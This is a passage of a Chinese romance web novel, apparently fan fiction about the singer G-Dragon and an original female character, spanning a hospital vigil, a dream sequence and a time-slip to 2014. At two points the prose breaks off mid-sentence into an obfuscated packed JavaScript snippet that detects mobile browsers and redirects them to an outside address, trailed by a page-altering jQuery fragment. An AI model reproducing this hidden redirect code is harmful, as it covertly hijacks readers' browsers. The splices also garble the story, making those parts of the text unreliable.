还以为你现在过得那么好,是一个成熟的大姑娘了。 怎么还像是小时候那样,没心没肺的乱闯祸。 第一个电话就应该打给我啊。 这个世界上不会因为天气不好就慢点来,不会因为害怕自己出事就不来,只要听到你在喊,一定会赶过来的人,你不是知道吗? 是因为怕挨骂吗? ……真是要疯了,你这小孩到底什么时候才能明白啊。 如果给我打电话的话,我一定要冲到你面前把你骂个半死。 权志龙深深的呼出一口气。 他握紧了那小小的软软的手,轻轻地笑了一下,半是责骂半是哽咽: “塔伊啊。” “连傻子都知道下雨了要往家里跑,eyi也知道冷的时候要回家呢,你今年都多大了,还要犯这种错误?” 他又握了握那软软的手指,抬起头呼出一口气想要忍住,却没能忍住眼泪簌簌落下: “你到底在干嘛啊,为什么不能照顾好自己,你这个没良心的家伙,哥对你多好,巴黎的时候,不是说好了,到韩国来一定会给 我打电话,一定会联系,一定会见面的吗?” “为什么让我这样来见你。” “你真的没有良心吗?” “见把你养大的哥哥,再怎么说,应该打扮的漂漂亮亮的,约我去吃一顿昂贵的饭,临走的时候还要送我昂贵的礼物才行。” 他似乎要把巴黎见面那时候忍着没能说的话,八年来一直忍着没说的话全部说出来。 其实权志龙自己也不知道自己说了什么。 最后只剩下,他一直握着的这只熟悉的,小小的,软软的手。 从二十年前开始。 他就握住了的,把她从角落里拉出来的手。 小小的,软软的,会主动回握住他的手。 害怕的时候,求饶的时候,撒娇的时候,会勾着他的小拇指,会拽着他的衣角的手。 权志龙捂住脸,泪水肆意的从指缝间流出来,另一只手一直握着没有松开的那只手,凉得像一块暖不热的冰雪。 “你的手怎么那么冷啊。” 权志龙喃喃的说道。 纤细柔软的小手上,因为事故而擦伤挫伤的伤口已经痊愈,只有一点点细碎的血痂残留,但因为一直在输液,那只手如同冰雕雪 刻,凉的渗人。 权志龙两只手合拢,将那只小手暖在自己的手心里,但他也很清楚,全部依靠输液才能维持生命体征的人,是不可能有正常人的 体温的。 江留月的脸庞看起来平静而温和,表情也很舒展,看起来就像是在他身边的时候,依然睡在他怀抱里一样安静。 权志龙撩开她额头前的头发,那里当初被空气气囊打出来的伤口已经痊愈,也只有淡淡的疤痕了。 他摸了摸伤口曾经存在的地方。 “很痛吧,塔伊。” “对不起,塔伊啊,对不起。” “原谅我的贪心。” “哥……哥真的没办法放你走。” “要我怎么放弃你啊,塔伊?” 权志龙哽咽着捂住自己的脸:“我就放手了一次,你就把自己搞成这样。” “不是活得很好吗?每个人都说我们塔伊现在过得很好,你也是,笑着跟我说,活得很好啊,没有我,你变得更好了不是吗?” “那你就得这样一直幸福的,好好的活着啊。” “你明明就跟我约定了,说还要再见面的不是吗?” “说要看看zua,还要给eyi买礼物,我们一起吃过的餐厅没有倒闭,你喜欢的菜谱大厨一直留着,你还没见过永裴的儿子吧,那 小孩子真的很聪明,你会喜欢的……” 权志龙念了一会儿,自己就说不下去了。 他总是没完没了的掉眼泪,眼睛里的红色一直没有褪去,医生警告他这样很伤眼睛,他也不想这样,但是,他在面对江留月的时 候,总是没说两句话,眼泪就不知道为何流下来了。 好像分开的八年时间里,他一个人默默忍耐,默默微笑,默默消化的那些情绪,终于找到了出口一般,无法克制,也无法停止。 说起来真的很荒谬。 分开的时间竟然已经那么久了。 他早上睡醒的时候,还会看一眼手机,希望能看到江留月的信息,每次电话铃声响起,也总期待能听到她的声音。 这种希望从来不会因为江留月做了什么成为什么而结束,这种希望,是权志龙自己给自己的。 现在,这种希望就快要全部变成绝望了。 “塔伊。” 权志龙紧紧地攥着那只冰凉的手。 试图用自己的温度,换来手指的回握。 “别这样对我。” 他使用自己能够使用到的所有的能力来救江留月,他年少时,一无所有,都能养活的小孩,没道理在他权势地位金钱都鼎盛的时 期救不回来。 可不管医生们怎么说她的身体已经基本痊愈,江留月就是一直不醒来。 “是灵魂被带走了。” 【那个人】说道。 “被用了恶毒的办法,她的灵魂被带走了。” “灵魂带不回来的话,身体就是永远的空壳。” 听起来很匪夷所思。 但权志龙却只是很平静的问道。 “那么,我要怎么做呢?” * 权志龙在梦境之中穿行。 他路过一个幼童的午后公园,路过一个孩子冰冷的夜幕,驱赶过少女的噩梦,然后在某个梦境前面,长久的驻足。 “哥,你站在那干什么?” 他的身后传来疑惑的声音。 权志龙回过头,看到十八岁的江留月,她穿着T恤和宽大的短裤,头发扎成一个歪歪扭扭的丸子头,耳朵上还挂着一边口罩,脚 上趿拉着一双阿迪达斯的三叶草黑底白杠拖鞋,一只手拎着便利袋的黑色塑料袋,一只手拿着一根已经融化了一半的冰棒。 江留月也不等他回答,先低头在塑料袋里扒拉了一下,抽出了一根冰棒递给权志龙。 “好热,快吃。” 权志龙顺从的接过,两个人并肩往前走。 这里是YG公司门口的小巷,破烂的墙壁上画满了粉丝的涂鸦,他们一起并肩朝着那个三层的破旧小楼走去。 江留月一边走一边絮絮叨叨的跟他说着最近录制节目的趣事,她的正规专辑宣传期刚刚过去,因为表现良好所以被邀请在一个真 人秀综艺常驻,每天回到公司就是要跟哥哥们吐槽录制时候发生的事情。 有时候是趣事,有时候是八卦,大部分时候是吐槽。 权志龙静静的听着,江留月叽叽喳喳的声音听起来吵闹而生动,她很擅长于描述故事,没什么意思的枯燥内容也让她说得很好 玩。 这时候,江留月的手机响了,她将冰棒叼在嘴里腾出手来掏手机,却在看到来电的时候撇撇嘴立刻挂掉了。 “……是谁啊?” 权志龙忍不住问道。 江留月说了一个略显古早的名字,权志龙费了点劲儿才想起来那是谁。 “真烦人,都说了不要联系我了,哥,男人是都这样无知吗?”江留月皱着眉对他吐槽,看权志龙脸色不太好看,立刻补充道: “当然了,哥除外,哥超厉害!” 她为了可信度,还对着权志龙撒娇卖乖的竖了个大拇指。 权志龙伸出手摸了摸她的丸子头,上面夹着一个颜色饱和度极高的彩色塑料发饰,她晃晃脑袋,就哗啦啦的响。 权志龙停下脚步,他看到江留月卷翘的睫毛在不耐烦的快速扇动,就像是一只急于摆脱蜘蛛网的蝴蝶。 她噘着嘴在回复短信,冰棒融化到无法支撑,直接掉到地上,然后喷溅到她的小腿上,吓了她一大跳。 “啊————讨厌!!!” 江留月气得哇哇叫,然后将这件事情归咎于手机那头的人,恶狠狠的发送短信之后将对方拉黑处理了。 权志龙叹了口气,将自己吃了一半的冰棒递给她让她拿着,自己则从口袋里抽出餐巾纸,半蹲下来为她擦拭。 ……完全是养孩子啊。 权志龙一边为她擦掉喷溅在小腿和鞋子上的黏腻糖浆一边冷不丁的想。 从话都说不利索,到现在已经小嘴嘚吧嘚吧的跟哥哥们告状吐槽,江留月整个人都歪在一把折叠椅上摇摇晃晃。 “所以你不喜欢那个人了?” 东永裴正在吃冰淇淋,他眉眼弯弯的逗弄她:“是谁上周回来说那个人很帅如果能交往就好了?” 江留月一脸生无可恋,语气中也带上了哀怨:“哥,这个人可是真的致命的无知……跟他聊天十分钟,我要花费一整天来进行心 理复健。” 她又拆了一支冰淇淋:“所以说,我应该是不适合脑子不聪明的男人。” 工作室的众人都哄笑了起来,纷纷拿她打趣,甚至有人拿出手机说让江留月在他的通讯录里选,不管看上谁都会绑过来给她。 权志龙静静的看着她,却看到江留月回头看向自己,然后露出了惊喜的表情: “志龙哥!!” 江留月跳下椅子,朝着他扑了过来。 权志龙下意识的伸出手想要抱住她,却见她的身影“穿过”了自己,朝着门口进来的年轻的男人扑去。 软塌塌的头发,色彩鲜艳的发箍,总是故意板着脸的年轻男人一脸受不了的一边往后躲一边伸出双手稳稳地接住了他。 权志龙忽然意识到,这是一个无法被干涉的梦境。 他只是个旁观者。 一旦有江留月和他之外的第三者出现,他便迅速淡化成一个影子,再也无法触碰她分毫。 江留月也已忘记了小巷中的并行,她开始嘚吧嘚吧的把刚刚和哥哥们吐槽过的事情又告诉了权志龙一次,然后哼哼唧唧的说自己 受到了伤害。 他都快要忘记了,当时的自己,是做出了什么样的反应。 “……你看男人的眼光不行。” 权志龙带着点笑意,揶揄道:“没有我看女人的眼光好。” 他随意的呼噜了一把江留月的头发,将她的丸子头都呼噜散了,还吐槽了一把她的发饰,自己找了个位置坐下扯过塑料袋在里面 扒拉冰淇淋: “怎么没买我喜欢的?” 江留月叼着冰淇淋冲过来给他翻,信誓旦旦绝对买了。 果然买了。 江留月翻出来献宝一样递给权志龙。 权志龙接过冰淇淋,又揉了揉她的头顶,然后给江留月画了个饼: “对哥那么好?过几天,介绍几个好男人给你吧。” 江留月立刻露出嫌弃的表情。 权志龙挑眉:“怎么了,总比你这个无知的对象好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986192|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江留月气得哇哇叫,冰淇淋差点甩所有人一身,东永裴赶紧出来打圆场,最后用一包不知道从哪翻出来的薯片哄好了。 小孩子就是生气快,但也很容易哄好,江留月不一会儿就坐在权志龙身旁乖乖吃薯片了,吃一会儿还把袋子递给权志龙让他也拿一片。 眼前的画面开始流动,江留月困了,她就把自己团吧团吧成一小坨,缩在沙发的角落里睡着了,本来头歪着朝着另一边,但她脖 子悬空,不一会儿就哼哼唧唧的换了个方向,依偎在了权志龙的肩膀上。 权志龙顺手拉过旁边的毛毯搭在她的身上,脸上带着笑意和其他人在聊专辑的事情。 时间不知道过了多久。 他们要走了,权志龙伸手直接拧住江留月的耳朵重重一拽:“起来,小猪。” 江留月被吓了一跳,她半梦半醒的发起床气,气得抬脚去踢权志龙,权志龙立刻起身躲开,然后笑着连着后退几步,江留月不肯 善罢甘休,跳下沙发趿拉着拖鞋要去打他。 两个人的追逐很快变成了混战,不管是来搅混水的,还是无辜被牵连的,整个房间吵闹到隔壁开会的经纪人冲进来骂人。 “哥,你不觉得,这一切看起来很美好吗?” 权志龙猛然一顿。 眼前的一切似乎还在上演,但场景已经完全模糊,像是被毛边玻璃隔开了一样。 他这才发现,江留月就坐在自己的脚边陪他看着这一切。 他不知道她来了多久了,又是什么时候开始陪他在这里,看着这一切的。 “时间真的过得很快,对吧,哥?” 江留月笑了笑: “我们都两年没见了吧,哥?上次还是在巴黎呢。” “怎么了?……你不想跟我说话吗?” 权志龙没有回答。 江留月撇撇嘴,她又转过头,看着眼前如同电影一样播放的画面,看着那个‘江留月’因为被‘权志龙’气哭了,恶狠狠的咬着 他的袖子,权志龙怒骂‘你是狗吗’的拧她的耳朵。 她的表情上露出了些许怀念: “也是,看着这样美好的样子,再看到我如今的样子,哥觉得很难接受吧。” 权志龙急促的呼吸着,他的喉结反复滑动,想要说的话几乎要脱口而出,又被他强行忍住。 江留月也似乎没有等待他的回答,而是继续说道: “所以,志龙哥,当初如果我们没有交往的话,这样的美好,就会一直持续下去,是不是?” 江留月坐在地上托着腮看着他,她抬起眼睛往上看的样子,像个小孩子,权志龙看着她,心里头又酸又软又痛。 “……哥,你真的没有后悔过吗?” “我们要是没有相爱的话。” “也许现在我们两个人,都很幸福了。” 她说话的声音很小,但很清晰,说完这句话之后,她还是抬着头,似乎在观察权志龙的反应。 权志龙看着她,她看起来是那么的苍白,嘴唇也是青紫青紫的,额头上还有伤口,露出来的手腕和手掌上有着严重的青紫和擦 伤。 权志龙抿住嘴,压制住自己颤抖的呼吸,没有反驳她,也没有回答她的话,而是尝试着向江留月面前移动,但他的手拿着解开的 外套想搭在她的肩膀上的时候,他没有触摸到任何实体。 他的手“穿过”了江留月的身体。 权志龙颤抖到哽咽的呼吸忽然顿住,他用通红的双眼看着眼前的人,脸上露出带着绝望的痛苦表情。 “哥,你为什么还要做这样的无用功呢?” 江留月轻声道: “你知道的。” “这一切都太晚了。” “哥真的太固执了。” “你现在不是很幸福,很好的生活着呢吗?” 开始下雪了。 大片大片的雪花落下来,盖在她的头发上,然后在她的脸颊上融化。 权志龙试图伸手去拭去融化的水渍,双手却只穿过了铺天盖地的鹅毛大雪。 她的样子随着越来越大的雪,逐渐消失不见。 权志龙眼前,又只剩下白茫茫一片。 他艰难的跋涉着。 在这吞噬了江留月的大雪之中。 然后,他第一次,感受到了,有什么东西,在和他共鸣。 似乎,什么地方,有着心脏的跳动,噗通噗通噗通的,和他同频。 他站在江留月的病床前,紧紧地握着那只小手的时候,他愤怒、绝望、心碎的每个瞬间,强烈到要吞噬掉他的情绪,变成了同频 的线。 权志龙猛地睁开了眼睛。 眼前是熟悉的,病房的灯光。 ……醒了吗? 他下意识的抬起手臂遮挡,却冷不防感受到病床震动了一下。 “志龙哥???你醒了?!?!” 权志龙还来不及适应眼前的光线,忽然一个人就猛然窜到了他的面前。 不,那个人应该是本来就就趴在病床边,被他抬手臂的动作给惊醒的。 乱七八糟翘着的银色发丝,因为暖气而有些红扑扑的小脸,皱巴巴的小表情,撇着的快要哭出来的模样。 权志龙愣住了。 江留月所有的梦境都是她真实的回忆,他不记得,他们有经历过这样的事情。 …难不成是梦中梦吗? 他正迟疑的时候,江留月凑过去,用额头贴了贴他的额头:“呼……好像退烧了,真是的,都要被你吓死了……怎么能忽然晕倒 在录音室……” 权志龙一直没有说话。 江留月察觉到了不对,她歪着脑袋看着权志龙,忽然露出一个笑脸:“哥哥,干嘛呢,真的烧傻了?” 她猛然凑近:“哥哥,知道我是谁吗?” 她凑得太近太近了。 熟悉的香气,热乎乎的气息,眨动的眼睛,权志龙还看到她眸子里倒映的自己。 “……塔伊。” 他发出艰涩的,低哑的声音。 他的活蹦乱跳的、会笑会闹会撒娇的、会流泪也会生气的珍宝。 权志龙长出一口气,闭上了眼睛。 江留月被吓了一跳,以为他哪里不舒服,赶紧凑上来问怎么了。 权志龙又睁开眼,她还是在眼前,微微皱眉,嘀嘀咕咕的伸出一只手来摸他的额头。 一只热乎乎的,软软的小手。 权志龙抓住她的手,将她一把拽上了床,紧紧地抱住。 “好痛……” 他用得蛮力太重,江留月忍不住哼哼唧唧的撒娇。 权志龙却只想再重一点,再重一点。 他不能平复自己的情绪,只能将怀里的人抱紧,然后,他抬起头,看到墙壁上的数字壁挂表显示出时间。 2014年4月11日22:17分。 40.凡事要稳重 40.凡事要稳重 权志龙直到第三者的加入,才意识到这里并非梦境。 在“梦境”中,他和江留月所有的交流都会在第三者加入之后强行弹出,然后自己变成一个“旁观者”,无论他努力了多少次, 都是这样的结果,江留月会遗忘掉之前和他的交流,融入自己本身的记忆之中。 一个无论如何努力,都无法改变的“已经发生”的事实。 江留月三十多年的人生,早就是已经完成的事实,无论他如今走进去试图改变一些节点上她的选择,都不过是徒劳无用的。 江留月依然会在2015年来到韩国,遇见他,成为练习生,她会度过一年半的练习生生涯,开始在bigbang的mv里面露脸,然后客 串各种mv,也参加一些小综艺,拍摄一些有的没的杂志封面,变得小有名气。 2008年,江留月会发表自己的第一张同名专辑《Alice》,制作人是perry和Teddy,然后次年,她会向权志龙告白,两个人顺理 成章成为情侣。 时间一路前推,所有的节点都如同命运安排的那样,权志龙无论如何试图扭转,故事的结局依然会撞上那个冷冰冰的雪夜。 偶尔,他也在“梦境”里看到江留月,她浑身是伤,看起来又冷又痛,但自己却毫无知觉一样,有时候,她会愿意过来跟自己说 两句话,但大多数时候,她总是看起来孤零零的站在一边,出神的看着自己的回忆。 一遍一遍,一遍一遍,她向权志龙重复道: “哥,如果我们没有相爱的话,就好了。” “我们两个现在都一定很幸福吧。” 权志龙无法回答她。 他也并没有答案。 他只是看着眼前这个浑身都是伤口,看起来瘦得要被风吹散架,苍白得毫无血色的孩子,露出迷茫又绝望的表情。 他不知道该怎么办。 好像这样的情景,重复一百万次,他也只能站在那,任凭灾难和命运从天而降,将他像是蝼蚁一样碾得粉碎。 因为习惯了这样的场景,因此,当病房的门被推开,老虎哥拎着外卖盒子出现的时候,权志龙下意识的攥住了江留月的手,低头 眷恋的在怀里的人头发上吻了一下。 他本以为,这又是习以为常的告别。 但江留月却皱了皱鼻子,回过头软乎乎的警告他:“别亲了!有人来了!” 他手掌心里那只小手,也依然热乎乎的存在着。 老虎哥走过来问好,简单的说了一下权志龙的情况,大概就是疲劳过度所以晕倒了,需要打点滴并观察一天。 “可是手怎么受伤了呢。” 江留月拉起他的另一只手,权志龙感到一阵刺痛,这才发现这只手上缠绕着绷带。 江留月疑惑的看着他:“哥,你的手怎么受伤了?” 权志龙感受到指节的刺痛,他将那只手放在自己的面前仔细观察,指节被缠绕着看不清楚怎么伤的,手心却有几个月牙形状的伤 口。 “……我记不得了。” 他含糊的说道,脑子却在飞速转动。 “要不要做个核磁共振呢?” 江留月嘀嘀咕咕的说着,老虎哥应答着她的话,将外卖盒子拆开放在桌子上,权志龙只能看到她背对着自己的身影,但却能感觉 到,她此刻应该是皱巴着一张脸。 这时候权志龙意识到了事情的不对,过度的信息量冲击过来,无数个可能性让他脑袋发蒙,需要考虑衡量的事情太多了。 但他什么都没做,只是看着江留月的背影,轻笑了一下,然后抬起手,捋掉了江留月翘起来的发丝上一缕毛絮。 江留月如同被摸到耳朵的小猫一样猛然回头,用圆滚滚的眼睛警告他不许动手动脚,嘴里还叼着一个寿司。 权志龙顺势在支起来的病床上躺下,用手臂挡住了过于刺眼的光线。 眼睛里温热温热的,少了那种火烧一般的痛感。 尽管荒谬。 但这里,的确是2014年。 但…… 为什么是2014年? 权志龙百思不得其解,当天晚上,江留月在病房陪他,说是陪他,江留月睡得比病人香多了,热乎乎软绵绵的团成一团窝在他怀 里,长长的银发被她拿了个皮筋全部绑在头顶,一大团放在枕头上,像是一只长尾猫的尾巴。 权志龙用手摸她的脑袋,银色的长发软软凉凉,他没由来的想起来,江留月在2020年曾经做过一次这样的造型。 “……还不是被我摸到了。” 权志龙突然冒出一点孩子气的,用力揉了揉她的脑袋,然后又忍不住,亲她的脸颊和额头,亲得江留月烦死了,就把脑袋钻到他 怀里去,哼哼唧唧的不知道在说什么。 总之就是爱撒娇。 权志龙叹了口气,把自己的娇宝贝往怀里搂了搂。 他应该多多思考这里是什么地方,自己为什么要来,又应该做些什么,如果这是真正的时间回溯,那么自己要做的事情就太多 了…… 但他的脑子里却如同进入了冥想一般,思考不了这些复杂沉重的事情。 怀里的人发出均匀的呼吸声,权志龙听到风吹过草地的声音。 他站在吹着凉爽的风的山坡,触目所及都是碧绿色的草地,碧绿色的草像是浪花一样涌动,温柔的抚摸他的脸庞。 他没有回头,只感觉有人从背后跑过来扑到他的身上,赖唧唧的在他的身上撒娇,像是蝴蝶一样轻盈,又沉甸甸的,有着能抱满 怀的重量。 似梦非梦。 权志龙醒过来的时候,精神前所未有的好,他之前不断在梦境中穿梭是极其损耗身体的行为,全凭强大的意志力和这些年攒的身 体本在消耗,已经很久没有感受到这种气血旺盛又精力充沛的感觉了。 嗯。物理意义上吧。 “……我看你能出院了,精神真好啊,哥。” 江留月一本正经的说道。 “……” 不是,他家小孩原本就那么……大胆的吗? 权志龙难得露出了尴尬的表情,他都能感觉到自己从脖子到脸庞应该都是滚烫通红的,他害羞了,江留月反而得意了,兀自笑个 不停,笑得眼泪都流出来了,又拉起被子挡住通红的小脸蛋。 权志龙相当窘迫。 他面对2014年的江留月,有一种非常诡异的心态。 就是,对方似乎变得更幼小了。 本来,江留月就比他小了三岁,又在青少年期就被他一路照顾,精心养着,他心态上就颇有一点长兄如父的味道。 如今,他已经快要四十了,陡然回到怀里的人不过二十出头的时间,将近十五岁的年龄差,诡异的生出了“老牛吃嫩草”的背德 感。 权志龙看着眼前笑嘻嘻的江留月,手指蜷缩了一下,因为伤口的刺痛才拉回了些许跑偏的思绪。 若眼下,他真是那个2014年的26岁的权志龙,二话不说,必然拎起江留月一顿“爱的教育”,但他现在竟然不知道眼睛往哪里放 好。 明明江留月就穿着睡衣,甚至因为在医院,她还穿的是可以直接外穿的那种长衣长裤,刚刚睡醒,不修边幅,一边打着哈欠一边 抓着自己乱七八糟的银发,潦草得不行,可他的眼睛不管落在那,就像是火星崩到眼珠子里一样,刺得生疼。 江留月毫无察觉,就算是VIP房间的病床也算不上大,她四肢一晚上没好好伸展,这会儿铆足劲伸了个懒腰。 本来还算宽松的上衣随着她的动作露出了一小节雪白的腰肢,她活动了一下肩颈,又扯了扯宽松的领口,手直接伸进去想调整一 下磨皮肤的内衣。 “……你干嘛!!!!” 权志龙非常激动的声音吓了江留月一跳。 她呆滞的保持着调整内衣的姿势看着权志龙,满脸都是问号。 权志龙已经彻底红温了,他手脚蜷缩,激动得都有点破音了。 “……内衣不舒服啊。” 江留月莫名:“不是你买的嘛?!都给你说了这个牌子要买大一点,哥,说实话,你要是老记不住这种东西,就干脆让我自己买 好吗?!” 江留月想要吐槽她哥过度旺盛的占有欲的行为千千万,包揽她内衣的这个行为就可以吐槽上三天三夜,是,她承认,她哥有着非 凡眼光和审美,买的内衣又好看又舒适还都价格超昂贵,但问题就在于,她哥的眼光太毒辣,每次买的尺寸简直是就是刚刚好, 但凡她稍微胖一点或者因为生理期胸部稍微有点起伏,就会有这样那样的问题。 她生气的扯下一边衣服给权志龙看腋下和胸部的夹角处:“你看,都红了!” 权志龙:“……” 遭不住啊。 他真的遭不住啊。 “你、你穿好。”权志龙脸红脖子粗,说话都结巴了起来:“像、像是什么样子。” 江留月:“……?” 权志龙也知道自己的行为和反应太过奇怪了,于是拼了命的想要找补回来,但宕机的大脑里只有一些不可言说的画面。 完了。 真的完了呀。 权志龙捂着脸低着头,耳朵红的要滴血,呼吸都急促破碎了起来。 “……哥?” 江留月疑惑的叫了他一声。 权志龙鼓足勇气做足了心理建设抬起头,就看到江留月歪着脑袋,圆滚滚的眼珠子里充满了疑惑看着他。 她最近真的稍微长了点肉,重新被养回来一丢丢婴儿肥,再加上早上刚起来人还有点肿肿的,越发显得有些圆滚滚。 权志龙被正面暴击。 “……我完全犯罪了,我是死罪啊。” 他颤抖着手捂住了自己的心口,因为从昨天到现在经历的一切都太过魔幻,以至于他忽然想到了另一个可能性:“还是我已经死 了,这里其实是天堂?” “志龙哥。” 江留月在目击了她哥“发作”的全过程之后,真诚的提出了一个建议:“不然我们还是去做一个核磁共振吧。” 权志龙:“……” 好的,看来他还是活的,还能抢救。 尽管不能跟江留月解释“哥其实已经好多年没这样近距离和你接触了”,但权志龙还是扯了一些有的没的勉强蒙混了过去。 好吧,其实就是把人支出去找医生,自己去好好洗了个冷水澡清醒了一下。 等到江留月回来的时候,权志龙已经换好了衣服也吹干了头发,他还用手机大概搜索锁定了一下当下的时间。 “志龙哥,我要去公司,你呢?” 江留月倒不勉强他一定要休息,毕竟医生也说了,只是疲劳过度导致的低血糖晕倒,这种程度的病痛对于艺人来说,简直比感冒 还微不足道。 “一起去吧。” 权志龙将手机按灭放进口袋。 这个世界一如他的记忆,唯一出现了变数的,只有江留月。 通过搜索到的信息,他知道江留月要出新专辑了,制作人还是自己,这在他记忆中的2014里,是从来没有发生过的事情。 ……是什么地方开始出了差错呢? 权志龙脑子里在思考,表情不算太好,但他刚出院,大家都很识趣的没有来打扰他,只有江留月坐在他旁边一边刷手机一边吃老 虎哥给她买的鲷鱼烧。 “哥,你看,粉丝做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997047|151195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好有趣。” 江留月将手机分享给他看,权志龙瞥了一眼,发现是粉丝画的同人漫画,画的是他和江留月,很有趣的两个格子对比漫画。 第一个漫画格子是江留月可怜巴巴的求他写歌曲:‘哥哥,求你了。’然后自己同意之后,江留月开心的说‘哥哥是世界上最好 的人。’ 第二个漫画格子是江留月在录音,自己则大魔王黑云压顶的摧残她,江留月咬着手绢哭唧唧的说:‘GD是这个世界最可怕的 人’。 权志龙也忍不住笑了一下,江留月又赶紧拍马屁:“哥,不管你对我怎么严格,我都知道你是世界上最好的人!” 她的马屁拍得非常敷衍,拍完了就立刻又扭头刷手机了,大约是粉丝这次给的反响很好,江留月一直在笑。 “就这么开心吗?” 权志龙忍不住问道。 江留月头也不抬的刷着手机,脸上洋溢着笑容,手下不停的给粉丝点赞:“啊?当然啊,我特别开心呢。” 权志龙不再讲话,任她自己在那玩,自己则静静的看着她,心里是很久没有过的平静和愉悦。 当然,这个愉悦,很快就消失了。 “……这个杂种为什么在这里。” 家族con韩国场次已经结束,现在正在召开的是日本场会议,权志龙本在因为重新回到2014而唏嘘不已,忽然看到了一个不该出 现的身影,于是立刻扭头问东永裴。 东永裴:“……?” 东永裴不解,东永裴抬头望去,东永裴了解,东永裴无语,东永裴叹息,东永裴试图进行安抚:“志龙啊,你不是说自己会忍 吗?” 权志龙:“……?” 不是,你看他像是能忍的样子吗? 东永裴:“好歹也是Alice的经纪人,你就忍一忍吧。” 权志龙:“……哈!?” 什么玩意? 什么就经纪人了? 谁的经纪人? Alice的什么? 权志龙深吸一口气,此时人来得还不够全,江留月在长桌的斜对面玩手机,时不时凑过去跟旁边的山达拉说笑两句,并抽空从那 个人的手里拿过了自己的咖啡。 自己初来乍到,应该是有什么东西不对,至少要忍耐下来调查清楚。 权志龙当然明白。 他都快四十岁的人了,哪有那么不稳重。 “……?哥,你拿我咖啡干什么,你要喝吗?” 江留月莫名其妙的看着权志龙。 权志龙微微一笑,将手里的咖啡稳准狠的丢进了旁边的垃圾桶。 江留月:“……?” 众人:“……?” 权志龙从口袋里摸出手帕,给江留月擦了擦手。 这个行为就很挑衅了,大家纷纷露出八卦的表情,然后……火速的转过头去,避开正面战场的同时,都默默地找了个能反光的好 角度开始吃瓜。 “GDxi……您这是……” 金优早在权志龙走过来的时候就预感到不妙,但没想到权志龙会如此直接的打脸,但,人在屋檐下,他依然只能低头。 可,就算是权志龙,这样贸然的欺负一个工作人员,他不信,周围人会完全不管不顾,他更不信,江留月会看着‘自己人’被欺 负。 “出去。” 权志龙很不客气的用非敬语说道:“你在这里,怪让人烦的。” 虽然没有用滚这种激烈的用词,但他那居高临下的,冰冷的傲慢口吻,比直接的语言暴力更能碾碎人的自尊。 金优看了一眼江留月,江留月则用见鬼的表情看着他和权志龙。 金优还来不及辩解,不知道从哪里冒出来的工作人员们忽然夹住了他开始往外推,他甚至来不及说什么话,于是,金优就看向了 江留月。 江留月用莫名但不赞成的表情看着权志龙。 权志龙抿了抿嘴,说道:“看到他我就头疼。” 他说完,瞧着兰花指扶了扶自己的额头,再垂着睫毛,微微噘着嘴,还吸了吸鼻子。 金优:“……” 江留月:“……” 众人:“……” 江留月叹了口气,对着金优摇了摇头表示爱莫能助,工作人员get到意思,抓小鸡一样拖着金优就往外走,饶是金优一米八大个 子,也在保镖群里难以突破。 江留月转过头看向权志龙,没好气的说道:“现在还疼吗?” “好一点点了。”权志龙哼哼唧唧的说道,声音软绵绵的,他顺势就在江留月身旁找了个椅子坐下了,坐下之后,还装腔作势的 抖了抖肩膀:“啊,身体也疼。” 此时金优已经被拖了出去,他还想进来,在门口探头探脑。 权志龙又兰花指扶住了自己的额头:“……门怎么还不关,风吹进来怪让人不舒服的。” 他又装模作样咳嗽了两声,瞟了一眼江留月,矫揉造作的说道:“要是有人能坐在我旁边挡挡风就好了。” 他说起这样的话来,鼻音特别重,说完了还要像是个小孩子一样缩在椅子里,双手无辜的放在膝盖上,自己跟自己对手指。 江留月:“……” 她实在是不擅长在众人面前跟权志龙拉对抗,于是只能默默坐下,众人也迅速恢复状态,假装自己没有在吃瓜。 江留月压低声音对权志龙咬牙切齿道:“哥,你刚才的一系列行为,真的很难让我相信这是一个二十七岁的成年男人该做出来的 事情。” 权志龙撇了撇嘴。 他家孩子倒是聪明。 因为这的确不是二十七岁的男人干得出来的。 他都快四十了。 41.black 41.black 大约是都知道权志龙这两天才晕倒在了录音室里,因此这场会议上,杨贤硕还着重提醒了在场所有人注意身体。 “想做的事情固然很多,但也掂量一下自己的身体,分清楚主次才重要。” 呵。 点她呢。 江留月撇了撇嘴,这不就是在说权志龙为了给她做专辑新demo所以没分清楚主次吗,小心眼的老东西。 虽然心里充满了怨气,但江留月也知道,权志龙这样着急也是为了自己能够趁着热度尽快把专辑的工作安排好,她略有点心虚的 看向坐在她旁边的权志龙,却正好被对方逮了个正着。 权志龙一直在看她,毫无顾忌的样子吓了江留月一跳,赶紧使眼色让对方将注意力放到会议上去,不要东搞西搞。 她又不敢发出声音,又不想太惹人注意,只能认真的皱着眉瞪着眼睛努力使眼色,权志龙险些被可爱到笑出声。 他掩饰性的低下头,故作正经的将视线挪到杨贤硕身上,看见江留月很明显的松了口气的时候,又起了逗弄心思的悄悄在椅子下 面伸出手勾江留月的手心。 权志龙都能预想到江留月炸毛的反应了,却没料到,江留月先是浑身猛然一抖,然后就是乖乖的勾住了自己的手指,悄悄地跟他 在椅子下面牵着手。 糟糕。 权志龙看着江留月有些发红的耳朵尖心想。 可爱过头了啊。 隔着如此漫长的时间,YG的会议虽然冗长,却也让权志龙有了真切的实感,他听着杨贤硕说话的声音,看着下方那些熟悉又陌生 